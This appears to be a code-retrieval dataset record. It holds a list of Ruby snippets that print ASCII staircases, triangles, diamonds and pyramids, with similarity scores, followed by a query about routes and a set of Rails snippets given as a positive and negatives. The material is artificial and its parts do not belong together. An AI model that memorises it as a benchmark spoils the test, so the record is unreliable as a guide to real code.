"def staircase(n)\n for i in 1..n do\n puts (\"#\" * i).rjust(n)\n end\n\nend",
"def triangles(n)\n space_count = n\n star_count = 1\n\n while star_count <= n\n puts \"#{' ' * space_count}#{'*' * star_count}\"\n space_count -= 1\n star_count += 1\n end\nend",
"def pattern(n)\n if n.odd?\n \t(2...n).step(2).map { |i| i.to_s * i }.join(\"\\n\")\n else\n \t(2..n).step(2).map { |i| i.to_s * i }.join(\"\\n\")\n end\nend",
"def wtf_pyramid\n\n\tsymbole = \"#\"\n\tcompteur = 1\n\tputs \"Salut, bienvenue dans ma wtf_pyramid ! Combien d'étages veux-tu ?\"\n\tprint \"(entre 1 et 25!) >\"\n\tinput = gets.to_i\n\tinputt = (input/2)+1\n\tinputb = (input/2)\n\n\t\tif input %2 == 0\n\t\t\tthen\n\t\t\tputs \"\"\n\t\t\tputs \"#############################################\"\n\t\t\tputs \"# Un nombre impair s'il te plait !!!! >:( #\"\n\t\t\tputs \"#############################################\"\n\t\t\tputs \"\"\n\t\t\tperform\n\t\telse\n\t\t\tputs \"Voici la pyramide:\"\n\t\t\t#input top pour pyramid du haut\n\t\t\tinputt.times do\n\t\t\t\tputs (symbole * compteur).center(input)\n\t\t\t\tcompteur = compteur + 2\n\t\t\tend\n\t\t\t\n\t\t\t#reset compteur\n\t\t\tcompteur = compteur - 4\n\t\t\t\n\t\t\t#input bottom pour pyramid du haut\n\t\t\tinputb.times do\n\t\t\t\tputs (symbole * compteur).center(input)\n\t\t\t\tcompteur = compteur - 2\n\t\t\tend\n\t\tend\nend",
"def wtf_pyramid ###\n\tputs \"Je re-pète...ça pue ! Est-ce que la blanquette est bonne ?\" #####\n\tprint \"> \" ###\n\t\tblank = gets.chomp #Cess64 touch # \n\n\tputs \"Ok, ici Ramses bis, moi je construis des pyramides impaires, parce qu'il faut tuer le pair !! Combien d'étages tu veux ??!\"\n\tprint \"> \" \n\tnumber = gets.chomp.to_i\n\n \tvar = \"#\"\n \tspace = \" \"\n \tnlos = ((number - 1) / 2 ) # je vais diviser le problème entre les deux parties du losange, séparée par un ligne full #\n\n\tif number - ((number / 2) + (number / 2)) != 1 #si t'es pair, met toi au vert !! et pas au verre...\n\t\t\tputs \"T'as cru que tu pouvais prendre Ramsès Bis le Barge pour un pigeon ? QU'ON LUI COUPE LA TETE !!!!!\"\n\n\telse\n\t\t\t\n\t\tfor n in (1..number)\n\t\t\tif (n <= nlos + 1)\n \t\t\t\t[n].each do\n \t\t\t\tputs space * ((number - ((n *2) - 1)) / 2) + var * ((n *2) - 1) + space * ((number - ((n *2) - 1)) / 2) end\n \t\tend\n \t\t\t\t\n \t\t\t\n \t\t\tif(n >= nlos + 2)\n \t\t\t\t[n].each do\n \t\t\t\tputs space * (n - (nlos + 1)) + var * (((number - n) * 2) + 1) + space * (n - (nlos + 1)) end\n \t\t\tend\t\n \t\tend\n \tend\nend",
"def triangle(n)\n triangle = (1..n).inject('') do |memo, current_num|\n stars = '*' * current_num\n line = stars.rjust(n) + \"\\n\"\n memo + line\n end\n puts \"\\n\" + triangle + \"\\n\"\nend",
"def steps (n, row = 0, stair = '')\n return if n == row\n\n if n == stair.length\n puts stair\n return steps(n, row + 1)\n end\n\n stair.length <= row ? stair += '#' : stair += ' '\n\n steps(n, row, stair)\nend",
"def triangle(n)\n 1.upto(n){ |i| p \"#{' ' * (n-i)}#{ '*' * i }\" }\nend",
"def indent(str,n)\n return '' unless str\n if n >= 0\n str.gsub(/^/, ' ' * n)\n else\n str.gsub(/^ {0,#{-n}}/, \"\")\n end\n end",
"def diamond(n)\n s = \"\"\n odd_array = (1..n).select{|num| num.odd?}\n odd_array = odd_array + odd_array.reverse[1..-1]#1,3,5,7,9,7,5,3,1\n (0...n).each do |i| #0,1,2,3,4,5,6,7,8\n empty_spaces = n/2\n odd_array[i].times do |j|#1,3,5,7,9,7,5,3,1\n s = (\" \" * (empty_spaces-i).abs) + (\"*\" * (j+1)) + (\" \" * (empty_spaces-i).abs)\n end\n p s\n s=\"\"\n end\nend",
"def pyramid(n)\n outer_array = []\n 0.upto(n) do |i|\n next if i == 0\n outer_array << Array.new(i, i)\n end\n outer_array\nend",
"def print_stairs n, str\n\ts = str;\n\tn.times {|n| puts s; s += str}\nend",
"def tab(n, *string)\r\n string.each_with_index { |e, i| i == 0 ? (puts \" \" * n + e) : (puts e) }\r\n end",
"def getstr (n)\n\tstr=n.to_s\n\tlen=str.length\n\ts=''\n\tfor i in 1...(7-len)\n\t\ts+=' ' \n\tend #end of the for loop\n\t\n\ts+str #return the spaces and the number combined as a string\nend",
"def triangle(n)\n stars = 1\n spaces = n-1\n n.times do |_|\n puts ( \" \" * spaces) + (\"*\" * stars)\n stars += 1\n spaces -= 1\n end\nend",
"def print_pt(n)\n\tmax_num = pt_nth_row_v2(n).sort.last.to_s.size\n\tl = 0\n\tpt_nth_row_v2(n).each do |int|\n\t\tl += int.to_s.size + max_num\n\tend\n\tn.times do |i|\n\t\tputs pt_nth_row_v2(i).join(\" \"*max_num).center(l) if i > 0\n\tend\nend",
"def pattern(n)\n str = \"\"\n for i in 1..n do\n \n i.times do\n str += i.to_s\n # str += \"#{i}\"\n end\n str += \"\\n\"\n end\n \n puts str\nend",
"def triangle(n)\n n.times{ |i| puts \"#{' ' * (n-i+1)}#{'*' * (i+1)}\" }\nend",
"def diamond(n)\n mid = n/2\n (mid + 1).times do |i|\n puts ' '*(mid - i) + '*'*((i * 2) + 1)\n end\n (mid).times do |i|\n puts ' '*(i + 1) + '*'*(n - 2*(i+1))\n end\nend",
"def display_upper_semi_diamond(n)\n left_outline = n / 2\n right_outline = left_outline\n\n (n / 2).times do\n row = ' ' * n\n row[left_outline] = '*'\n row[right_outline] = '*'\n\n puts row\n left_outline -= 1\n right_outline += 1\n end\nend",
"def staircase(n)\n i = 1\n while i <= n\n puts \" \" * (n - i) + \"#\" * i\n i += 1 \n end\nend",
"def diamond(n)\r\n return nil unless n.remainder(2) == 1\r\n diamonds = []\r\n\r\n counter = 1\r\n until counter > n\r\n spaces = (n - counter) / 2\r\n diamonds << ' ' * spaces + '*' * counter + \"\\n\"\r\n counter += 2\r\n end\r\n\r\n counter = n - 2\r\n until counter <= 0\r\n spaces = (n - counter) / 2\r\n diamonds << ' ' * spaces + '*' * counter + \"\\n\"\r\n counter -= 2\r\n end\r\n\r\n diamonds.join\r\nend",
"def yummie(n)\r\n\r\n print \"(\"\r\n (1..n).each{\r\n print \" \"\r\n }\r\n print \".\"\r\n (1..n).each{\r\n print \" \"\r\n }\r\n print \"v\"\r\n (1..n).each{\r\n print \" \"\r\n }\r\n print \".\"\r\n (1..n).each{\r\n print \" \"\r\n }\r\n print \")\"\r\n\r\nend",
"def wtf_pyramid\n\n\t# Divide by 2 the number input to build the top of the pyramid\n\t$top = ($etages / 2)\n\n\ti = 1\n\tk = $top\n\tt = k + 5\n\n\t# Construct the pyramid from the top to the bottom\n\ti.upto(k) do t.times do\n\t \t\t\t\t\tprint ' '\n\t \t\t\t\t\t end\n\n\t # Print the *\n\t (2 * i - 1).times do\n\t\t\t\t\t\t print '*'\n\t\t\t\t\t\tend\n\t # Return the line for the next stair\n\t print \"\\n\"\n\n\t t -= 1\n\t i += 1\n\t end\n\n\t# Diff the number of stairs with the result above\n\t$bottom = ($etages - $top)\n\n\ti = $bottom\n\tk = 1\n\tt = 5\n\n\t# Construct the pyramid from the bottom to the top\n\ti.downto(k) do t.times do \n\t\t\t\t\t\t\t\tprint ' ' \n\t\t\t\t\t\t end\n\n\t # Print the *\n\t (2 * i - 1).times do \n\t \t\t\t\t\t\t\tprint '*'\n\t \t\t\t\t\tend\n\t \n\t # Return the line for the next stair\n\t print \"\\n\"\n\n\t t += 1\n\t i -= 1\n\tend\nend",
"def tarjan_string_limit(n)\n tarjan.take(n).inject(\"\") {|s,i| s + \" \" + i.to_s }\n end",
"def triangle(n)\n (1..n).each { |row| puts ' ' * (n - row) + '*' * row }\nend",
"def triangle(n)\n n.downto(1) do |i|\n puts \"#{'*' * i}#{' ' * (n-i)}\"\n end\nend",
"def diamond(n)\n blanks = ' ' * ((n - 1) / 2)\n stars = '*'\n \n loop do\n puts blanks + stars\n break if blanks == ''\n stars << '**'\n blanks.slice!(0)\n end\n \n loop do\n break if stars == '*'\n stars.slice!(0..1)\n blanks << ' '\n puts blanks + stars\n end\n \nend",
"def indent(n)\n indent = \" \" * n\n gsub '\\n', \"\\n#{indent}\"\n end",
"def generate_shape(n)\n p (\"+\" * n + \"\\n\") * (n - 1) + \"+\" * n\nend",
"def sameLineDivider(n)\n n.times {|x| print \"*\"}\nend",
"def diamond(n)\n (n / 2).downto(1) { |i| puts (\"*\" * (n - 2 * i)).center(n) }\n puts '*' * n\n 1.upto(n / 2) { |i| puts (\"*\" * (n - 2 * i)).center(n) }\nend",
"def triangle(n)\n counter = 1\n\n loop do\n puts \"#{' ' * (n-counter)}#{'*' * counter}\"\n counter += 1\n break if counter > n\n end\nend",
"def pattern(n)\n if n <= 1 # number is 1 or lower\n return ''\n else # number is 2 or higher\n # for each number from 1 up to n, select only the even numbers\n # and print that number the amount of times equal to the number\n # and follow up with a new line for each unique even number\n (1..n).select(&:even?).map do |x|\n x.times { print \"#{x}\" }\n print \"\\n\"\n # return output\n # print \"\\n\"\n # return x\n # if n > 3\n # return \"#{x}\" * x\n # else\n # return \"#{x}\" * x + \"\\n\"\n # end\n end\n end\nend",
"def expand_tabs(n=8)\n n = n.to_int\n raise ArgumentError, \"n must be >= 0\" if n < 0\n return gsub(/\\t/, \"\") if n == 0\n return gsub(/\\t/, \" \") if n == 1\n str = self.dup\n while\n str.gsub!(/^([^\\t\\n]*)(\\t+)/) { |f|\n val = ( n * $2.size - ($1.size % n) )\n $1 << (' ' * val)\n }\n end\n str\n end",
"def expand_tabs(n=8)\n n = n.to_int\n raise ArgumentError, \"n must be >= 0\" if n < 0\n return gsub(/\\t/, \"\") if n == 0\n return gsub(/\\t/, \" \") if n == 1\n str = self.dup\n while\n str.gsub!(/^([^\\t\\n]*)(\\t+)/) { |f|\n val = ( n * $2.size - ($1.size % n) )\n $1 << (' ' * val)\n }\n end\n str\n end",
"def full_pyramide\n\tputs \"salut!bienvenue dans ma super pyramide!combien d'etage veux-tu?\"\n\ti=1 #1 zany n anombohan le i\n\tprint \">\"\n\tn= gets.chomp.to_i #n correspond le nbre de ligne de la pyramide\n\tputs\"voici la pyramide\"\n\tx=n #nbre de depart anle espace\n\tspace=\" \" #mamaritra n espace\n\twhile i<=n do #tant que i est inferieur ou egal n fait\n\tputs ((space * x)+(\"#\" * (i*2-1))) #rehefa te hahazo chiffre impaire de (i*2-1)\n\tx-=1\n\ti+=1\n\tend\nend",
"def repeat(input, n=2)\n ([input] * n).join ' '\nend",
"def triangle(n)\n count = 1\n loop do\n p (' ' * (n - count)) + ('*' * count)\n count += 1\n break if count > n\n end\nend",
"def repeat(str, n = 2)\n ((str + ' ') * n).strip\nend",
"def full_pyramid\n puts \"Salut, bienvenue dans ma super pyramide ! Combien d'étages veux-tu ?\"\n\n @nombre = gets.chomp.to_i\n @nombre = @nombre + 1 #formule pour le nombre d'etage\n base()\nend",
"def diamond(n)\n rows = (1..n).select{ |num| num.odd? }\n rows.each { |row| puts \"#{'*' * row}\".center(n) }\n rows.reverse[1..-1].each { |row| puts \"#{'*' * row}\".center(n) }\nend",
"def repeat(input, n)\n ([input] * n).join ' '\nend",
"def triangle(int)\n for i in (0..int)\n puts (\"*\"*i).rjust(int) \n end\nend",
"def padded(n)\n output = ''\n if (n < 10)\n output = '0' + n.to_s\n else\n output = n.to_s\n end\n output\n end",
"def staircase(n)\n spaces=0\n arr = Array.new(n) { |i| Array.new(n) { |j| (i >= j) ? '#' : ' ' } }\n print_matrix(arr.map(&:reverse), spaces)\nend",
"def triangle(n)\n line = 0\n loop do\n puts ' ' * (n - line) + ('*' * line)\n break if line == n\n line += 1\n end\nend",
"def indent(string, n)\n tabs = \"\\t\" * n\n wrap = screen_width - (n * 8) - 1\n\n tabs + string.gsub(/(.{1,#{wrap}})(\\s+|\\Z)/, \"\\\\1\\n#{tabs}\").rstrip\n end",
"def star(n)\n x = (n - 3)/2\n loop do\n puts \"*#{' ' * x}*#{' ' * x}*\".center(n)\n x -= 1\n break if x < 0\n end\n puts \"#{'*' * n}\"\n y = 0\n loop do\n puts \"*#{' ' * y}*#{' ' * y}*\".center(n)\n y += 1\n break if y > (n - 3) / 2\n end\nend",
"def staircase(n)\n str = ' ' * n \n 1.upto(n) do |i|\n str[-i] = '#'\n puts str\n end \n\nend",
"def output_spaces (intnumber, string=\"\")\n intnumber.times { print \" \" }\n puts string\nend",
"def slippery_numbers(n)\nend",
"def staircase(n)\n (1..n).each { |i|\n print(\" \"*(n-i) + \"#\"*i + \"\\n\") unless n == i\n }\n print \"#\"*n; $stdout.flush\nend",
"def newParagraphSpacer(n) \n n.times {puts \" \" }\nend",
"def star(n)\r\n padding_number = 0\r\n space_number = (n - 3) / 2\r\n \r\n 1.upto(n) do |row_number|\r\n central_row_number = (n / 2) + 1\r\n left_padding = ' ' * padding_number\r\n spaces = ' ' * space_number\r\n row = left_padding + (('*' + spaces) * 2) + '*'\r\n \r\n if row_number < central_row_number\r\n puts row\r\n next if row_number == central_row_number - 1\r\n padding_number += 1 \r\n space_number -= 1\r\n elsif row_number == central_row_number\r\n puts '*' * n\r\n else\r\n puts row\r\n padding_number -= 1\r\n space_number += 1\r\n end\r\n end\r\nend",
"def bottles_of_beer (n)\n\treturn \"No more bottles of beer on the wall\" if n == 0\n\treturn \"#{n} bottles of beer on the wall\\r\\n\" + bottles_of_beer(n-1)\nend",
"def triangle(integer)\n counter = 0\n until counter > integer\n puts ('*' * counter).rjust(integer)\n counter += 1\n end\nend",
"def triangle(num)\n spaces = num - 1\n stars = 1\n\n num.times do |n|\n puts (' ' * spaces) + ('*' * stars)\n spaces -= 1\n stars += 1\n end\nend",
"def towerBuilder(n)\n (0...n).map do |i|\n space = ' ' * (n - i)\n stars = '*' * (i * 2 + 1)\n space + stars + space\n end\nend",
"def upside_down_triangle(n)\n triangle = []\n stars = n\n spaces = 0\n\n n.times do\n triangle << (' ' * spaces) + ('*' * stars)\n stars -= 1\n spaces += 1\n end\n\n triangle.each { |line| puts line }\nend",
"def show\n length = @last_number.to_s.length + 1\n @spiral.each do |row|\n puts \"\\n\"\n puts row.map { |element| element.nil? ? \" \" * length : element.to_s.rjust(length, \" \") }.join(\" \")\n end\n end",
"def bottles(n)\n if n == 0 \n puts 'no more bottles of beer on the wall'\n else\n puts \"#{n} bottles of beer on the wall \"\n bottles(n-1)\n end\nend",
"def print_separator(repetitions = 18)\n puts '-' * repetitions\nend",
"def star(n)\n num_spaces = (n - 2) / 2\n arr = []\n until num_spaces < 0\n arr.push \"*#{' ' * num_spaces}*#{' ' * num_spaces}*\"\n num_spaces -= 1\n end \n arr += arr.reverse\n arr.insert(n / 2, \"*\" * n)\n arr.each { |x| puts x.center(n) }\nend",
"def triangle(num)\n count = 1\n while count <= num do\n stars = \"*\" * count\n puts \"#{(stars.rjust(num))}\"\n count += 1\n end\nend",
"def triangle(num)\n spaces = num - 1\n stars = 1\n\n num.times do |n|\n puts (' ' * spaces) + ('*' * stars)\n spaces -= 1\n stars += 1\n end\n\nend",
"def printNivel(num)\n\t\tfor i in 1..num\n\t\t\tprint \" \"\n\t\tend\n\tend",
"def staircase(n)\n i = 1\n spaces = \" \"\n destination = Array.new\n n.times do\n destination << (\" \" * (n-i)) + (\"#\" * (i))\n puts destination\n i = i + 1\n destination = []\n end\nend"
] |
[
"0.8211096",
"0.78011477",
"0.75496167",
"0.74561214",
"0.73982084",
"0.7257838",
"0.7203613",
"0.7136274",
"0.71276754",
"0.70082766",
"0.6992628",
"0.6895677",
"0.68736786",
"0.6869643",
"0.6845945",
"0.6832819",
"0.68116635",
"0.67972666",
"0.6780788",
"0.67569506",
"0.67394",
"0.6724063",
"0.67217547",
"0.66867095",
"0.66858745",
"0.6679368",
"0.6655076",
"0.6645165",
"0.66407984",
"0.6635102",
"0.6627941",
"0.6627226",
"0.66101474",
"0.6601504",
"0.65981746",
"0.65915513",
"0.6587053",
"0.65723085",
"0.6531003",
"0.6528924",
"0.6510307",
"0.6506453",
"0.65025496",
"0.6482989",
"0.6474008",
"0.6446164",
"0.6414392",
"0.64138705",
"0.640889",
"0.64035916",
"0.63996875",
"0.6382345",
"0.63619804",
"0.6342729",
"0.6334685",
"0.6320934",
"0.6308873",
"0.63043475",
"0.62909085",
"0.62821454",
"0.628061",
"0.62780315",
"0.6277097",
"0.62738955",
"0.62730235",
"0.6272027",
"0.6264582",
"0.6264582",
"0.6264201",
"0.6254068",
"0.62531346",
"0.6248971",
"0.6245983",
"0.624079",
"0.62383646",
"0.6237876",
"0.62349266",
"0.6234767",
"0.62273294",
"0.6221291",
"0.62184244",
"0.6209695",
"0.62074894",
"0.6204785",
"0.61933553",
"0.61921483",
"0.6183177",
"0.6180838",
"0.6178425",
"0.6170358",
"0.61661905",
"0.6163002",
"0.61600006",
"0.6154144",
"0.6148903",
"0.6146657",
"0.6144153",
"0.6135488",
"0.6120161",
"0.6119957"
] |
0.75031114
|
3
|
prevents method from being invoked by a route
|
def set_current_user
# we exploit the fact that the below query may return nil
@current_user ||= Moviegoer.find_by(:id => session[:user_id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def no_routes\n end",
"def no_routes\n # no need to do anything here either.\n end",
"def `(*args); forbidden(__method__); end",
"def undefined_route\n routing_error!\n end",
"def cancel\n __log_activity\n __debug_route\n __debug_request\n super\n rescue => error\n auth_failure_redirect(message: error)\n end",
"def ignore_method_conflicts; end",
"def generate_not_allowed_method(pattern, allowed_methods: [], **attributes)\n supported_methods =\n if self.class.namespace_inheritable(:do_not_route_options)\n Grape::Http::Headers::SUPPORTED_METHODS\n else\n Grape::Http::Headers::SUPPORTED_METHODS_WITHOUT_OPTIONS\n end\n not_allowed_methods = supported_methods - allowed_methods\n @router.associate_routes(pattern, not_allowed_methods: not_allowed_methods, **attributes)\n end",
"def disable_method_checking!\n Thread.current[:'method checking disabled'] = true\n end",
"def unauthenticated\n end",
"def allowed_routes\n introspector.routes.keep_if(&method(:allow_route?))\n end",
"def skip_authorization; end",
"def refuse_method(request)\n maybe_log(\"Refusing method call (transaction=#{message.transaction})\")\n error = ::Ractor::ClosedError.new\n request.sender.send(Message.new(:error, data: error, transaction: message.transaction))\n end",
"def no_route\n self.response[:body] = \"route not found for: '#{self.env['REQUEST_URI']}'\"\n self.response[:status_code] = 404\n end",
"def method_undefined(id)\n\t\t\t\treset_routing_cache\n\t\t\tend",
"def deny\n throw(:return)\n end",
"def not_allowed! redirect = root_url\n raise Exceptional::Unauthorized.new(\"Sorry, I was could not perform the action you requested!\")\n end",
"def unavailable! redirect = root_path\n raise Exceptional::NotAllowed.new(\"Sorry, I was unable to perform the action you requested!\")\n end",
"def set_methods_prevention\n @methods_prevention = MethodsPrevention.find(params[:id])\n end",
"def method_undefined(id)\n\t\t\t\t\treset_routing_cache\n\t\t\t\tend",
"def handle_unverified_request\n unless action_name == \"fire_object_search\" || action_name == \"fire_populate_drop_down\" \n super\n end\n end",
"def disallow(*methods)\n methods.each do |meth|\n define_method(meth) do |*, **|\n raise \"#{meth} not expected to be called\" if not_deployed?\n end\n end\nend",
"def wont_respond_to(method, msg=nil)\n RespondAssay.refute!(self, method, :message=>msg, :backtrace=>caller)\n end",
"def skip_authorization\n @_authorization_performed = true\n end",
"def halt_method(x = ['GET'])\n if !x.include?(request.request_method)\n halt 405\n end\n end",
"def should_handle_activity?(activity, route)\n activity[:do_not_handle_me] != true\n end",
"def not_found\n raise ActionController::RoutingError, 'Not Found'\n end",
"def delete\n unavailable_method\n end",
"def not_found\n raise ActionController::RoutingError.new 'Not Found'\n end",
"def unauthorized\n end",
"def method_removed(id)\n\t\t\t\t\treset_routing_cache\n\t\t\t\tend",
"def not_found\n raise ActionController::RoutingError.new('Not Found')\n end",
"def not_found\n raise ActionController::RoutingError.new('Not Found')\n end",
"def not_found\n raise ActionController::RoutingError.new('Not Found')\n end",
"def not_found\n raise ActionController::RoutingError.new('Not Found')\n end",
"def not_found\n raise ActionController::RoutingError.new('Not Found')\n end",
"def not_found\n raise ActionController::RoutingError.new('Not Found')\n end",
"def not_found\n raise ActionController::RoutingError.new('Not Found')\n end",
"def unprotect()\n res = super(context,self)\n return res\n end",
"def unauthenticated_request(params)\n do_request(params)\n end",
"def unauthenticated_request(params)\n do_request(params)\n end",
"def not_found\n raise ActionController::RoutingError.new 'Not found'\n end",
"def handle_bad_method(method)\n make_response(405, {message: \"Method not supported: #{method}\"})\nend",
"def handle_bad_method(method)\n make_response(405, {message: \"Method not supported: #{method}\"})\nend",
"def route\n #TODO\n end",
"def delete(*)\n unavailable_method\n end",
"def stop_path\n # force_move_route(EMPTY_MOVE_ROUTE)\n clear_path\n Pathfinding.remove_request(self)\n end",
"def route() request.route end",
"def method_removed(id)\n\t\t\t\treset_routing_cache\n\t\t\tend",
"def allow_path_state\n super\n end",
"def disallow(&block)\n collect_bucket(&block)\n scope = @_env.nil?? :global : @_env\n if @_bucket.any?\n @_disallowed_routes[scope].push(@_bucket).flatten!\n end\n @_bucket = nil\n end",
"def handle_route_not_found\n raise ActionController::RoutingError.new(params[:path])\n end",
"def raise_not_found\n\t\traise ActionController::RoutingError.new(\"No route matches #{params[:unmatched_route]}\")\n\tend",
"def raise_not_found!\n\n raise ActionController::RoutingError.new(\"No route matches #{params[:unmatched_route]}\")\n\n end",
"def access_denied\n end",
"def never\n Savon.config.hooks.reject(:spec_action)\n\n Savon.config.hooks.define(:spec_never, :soap_request) do |_, request|\n actual = request.soap.input[1]\n raise ExpectationError, \"expected #{action.inspect} never to be called, but it was!\" if actual == action\n\n respond_with\n end\n\n self\n end",
"def destroy\n render json: {}, status: :method_not_allowed\n end",
"def method\r\n@method ||= check_method(env[\"rack.methodoverride.original_method\"] || env['REQUEST_METHOD'])\r\nend",
"def route_eval\n super\n rescue ActiveRecord::RecordNotFound\n not_found\n end",
"def handle_unverified_request\n sign_out\n super\n #When you invoke super with no arguments Ruby sends a message to the parent of the current object, asking it to invoke a method of the same name as the method invoking super. It automatically forwards the arguments that were passed to the method from which it's called.\n end",
"def on_ignored_request\n end",
"def try_route\n\t\t\t\thttp_method = request.http_method\n\t\t\t\thttp_method = :GET if http_method == :HEAD\n\t\t\t\treturn unless available_endpoint\n\n\t\t\t\troute = available_endpoint[http_method]\n\t\t\t\treturn unless route || available_endpoint.allow\n\n\t\t\t\thalt(405, nil, 'Allow' => available_endpoint.allow) unless route\n\t\t\t\tstatus 200\n\t\t\t\texecute_route route\n\t\t\t\ttrue\n\t\t\tend",
"def route_not_found\n report_to_rollbar(\"#{request.method}:#{request.original_url} - Unknown/Unauthenticated route accessed\") if Rails.env.production?\n flash[:error] = t('errors.404_main') if current_user.present?\n respond_to do |format|\n format.html { redirect_to '/' }\n format.js { render :js => \"App.Helpers.navigateTo('/', true);\" }\n end\n end",
"def denied\n end",
"def undefine_throttle(method_name)\n rocket_job_throttles.delete_if { |throttle| throttle.method_name == method_name }\n end",
"def not_authenticated\n # Make sure that we reference the route from the main app.\n redirect_to main_app.log_in_path\n end",
"def routing_error\n render_not_found\n end",
"def routing_mismatch\n raise ::ActionController::RoutingError,\"URL not supported\"\n end",
"def abort_routing\n @aborted = true\n end",
"def ignore_request(_team, _user)\n # stub\n end",
"def access_denied\n\n end",
"def exclude\n all - methods\n end",
"def deny\n @request.remove_from_whitelist\n File.delete(\"#{$config[:'spool-dir']}/#{@request[:sender]}\") rescue true\n end",
"def destroy\n render json: {}, status: :method_not_allowed\n end",
"def no(*args)\n _define_check_method(args, caller, true)\n end",
"def validate_no_routes(path:, to: :anywhere, verbs: :any)\n the_verbs = Array(verbs).map {|verb| uppercase_http_verb(verb)}.compact.presence\n the_verbs ||= http_verbs.map {|verb| uppercase_http_verb(verb)}\n uppercase_verbs = the_verbs.size > 1 ? \"(#{the_verbs.join('|')})\" : the_verbs.join\n it \"#{uppercase_verbs} #{path} DO NOT route to #{to}\" do\n check_no_routes_for(path, verbs: the_verbs, to:to)\n end\n end",
"def not_found\n raise ActionController::RoutingError.new('Page Not Found. Please contact the system administrator.')\n end",
"def add_head_not_allowed_methods_and_options_methods\n versioned_route_configs = collect_route_config_per_pattern\n # The paths we collected are prepared (cf. Path#prepare), so they\n # contain already versioning information when using path versioning.\n # Disable versioning so adding a route won't prepend versioning\n # informations again.\n without_root_prefix do\n without_versioning do\n versioned_route_configs.each do |config|\n next if config[:options][:matching_wildchar]\n\n allowed_methods = config[:methods].dup\n\n allowed_methods |= [Grape::Http::Headers::HEAD] if !self.class.namespace_inheritable(:do_not_route_head) && allowed_methods.include?(Grape::Http::Headers::GET)\n\n allow_header = (self.class.namespace_inheritable(:do_not_route_options) ? allowed_methods : [Grape::Http::Headers::OPTIONS] | allowed_methods)\n\n config[:endpoint].options[:options_route_enabled] = true unless self.class.namespace_inheritable(:do_not_route_options) || allowed_methods.include?(Grape::Http::Headers::OPTIONS)\n\n attributes = config.merge(allowed_methods: allowed_methods, allow_header: allow_header)\n generate_not_allowed_method(config[:pattern], **attributes)\n end\n end\n end\n end",
"def authorize!(user)\n redirect '/not_authorized' unless authorized?(user)\nend",
"def project_unauthorized_proc\n # no-op\n end",
"def failsafe_action\n super\n end",
"def delete(*)\n unavailable_method\n end",
"def delete(*)\n unavailable_method\n end",
"def delete(*)\n unavailable_method\n end",
"def delete(*)\n unavailable_method\n end",
"def delete(*)\n unavailable_method\n end",
"def delete(*)\n unavailable_method\n end",
"def ignore_method_conflicts=(_arg0); end",
"def forbidden\n respond_with 403\n end",
"def not_found(path)\n raise ActionController::RoutingError.new(\"Route not found for #{path}\")\n end",
"def rescue_action_in_public(exception)\n return super unless exception.is_a? ::ActionController::RoutingError\n render_404\n end",
"def not_authenticated\n redirect_to root_path\n end",
"def skip_authorization_check(*args)\n before_action(*args) do |controller|\n controller.instance_variable_set(:@_authorized, true)\n end\n end",
"def prevent\n js false\n render :inline => 'Main#prevent', :layout => 'application'\n end",
"def forbidden\n respond_with 403\n end",
"def clean\n public_send strategy\n end",
"def disable\n end",
"def skip\n redirect_to claim_url(current_policy_routing_name, \"name\")\n end",
"def unauthorize!\n throw(:warden)\n end",
"def route? method\n if @tracker.routes[:allow_all_actions] or @tracker.options[:assume_all_routes]\n true\n else\n routes = @tracker.routes[@current_class]\n routes and (routes.include? :allow_all_actions or routes.include? method)\n end\n end",
"def deny_action(path)\n @denied << recognize_path(path)\n end",
"def disallowNavigation\n self.navigationAllowed = false\n end"
] |
[
"0.684974",
"0.64332175",
"0.63333493",
"0.6174595",
"0.6099277",
"0.6072127",
"0.6065973",
"0.6009345",
"0.5993435",
"0.5989465",
"0.5936756",
"0.5929394",
"0.5862227",
"0.5860001",
"0.58521897",
"0.58478904",
"0.5846941",
"0.58460385",
"0.58438456",
"0.58427393",
"0.5840499",
"0.57980686",
"0.57970417",
"0.57884884",
"0.57801884",
"0.57557994",
"0.5753545",
"0.5742647",
"0.57299787",
"0.57223266",
"0.5719153",
"0.57028985",
"0.57028985",
"0.57028985",
"0.57028985",
"0.57028985",
"0.57028985",
"0.56976926",
"0.5676775",
"0.5676775",
"0.5661616",
"0.56605256",
"0.56605256",
"0.56493855",
"0.56415427",
"0.5639452",
"0.56383586",
"0.56339735",
"0.5627433",
"0.56270826",
"0.562559",
"0.56090957",
"0.5595333",
"0.55925703",
"0.5569034",
"0.5565925",
"0.55657434",
"0.55621797",
"0.5560021",
"0.5545939",
"0.5545353",
"0.5533099",
"0.5531832",
"0.55311024",
"0.5530429",
"0.5530348",
"0.5526805",
"0.5522613",
"0.5522426",
"0.5518653",
"0.55183095",
"0.5511652",
"0.55109453",
"0.54999495",
"0.5499396",
"0.5492371",
"0.5491484",
"0.5479637",
"0.5467358",
"0.5466248",
"0.545851",
"0.545851",
"0.545851",
"0.545851",
"0.545851",
"0.545851",
"0.5455774",
"0.5455679",
"0.54551584",
"0.5451355",
"0.5447074",
"0.5445259",
"0.54445505",
"0.54432046",
"0.5441878",
"0.5437891",
"0.54329497",
"0.54325795",
"0.54300505",
"0.54231167",
"0.54218304"
] |
0.0
|
-1
|
Returns a found (or new) collection based on the collection fields and the submitter's email.
|
def collection
Rails.logger.info "XXXXX COLLECTION NAME #{collection_hash['collection name']}"
@collection ||= CollectionCreator.find_or_create_collection(
collection_hash['collection name'],
collection_hash['unit name'],
collection_hash['collection description'],
submitter_user_key
)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def collection\n instance_variable_get(collection_name) || set_collection(find_collection)\n end",
"def new_collection\n Models::Collection.new\n end",
"def find_collections_for_form\n Hyrax::CollectionsService.new(self).search_results(:edit)\n end",
"def collection\n return nil unless collection_member?\n @collection ||= SolrDocument.new(\n Blacklight.solr.select(\n :params => {\n :fq => \"#{SolrDocument.unique_key}:\\\"#{self[blacklight_config.collection_member_identifying_field].first}\\\"\"\n }\n )[\"response\"][\"docs\"].first\n )\n end",
"def get_collection(collection)\n filter_params = params[:filter] ? params[:filter].permit(self.class::DEFAULT_FIELDS) : {}\n if params[:filter].present? && filter_params.empty?\n render 'shared/http_status', locals: { code: '422', message:\n 'Invalid or malformed parameter values' }, status: :unprocessable_entity\n false\n else\n collection.order('id').where(filter_params)\n end\n end",
"def find_collection\n @collection = Collection.find(params[:id])\n end",
"def collection\n @collection ||= PublicEarth::Db::Collection.find_by_id!(collection_id)\n end",
"def new_input_set()\n return FindByEmailInputSet.new()\n end",
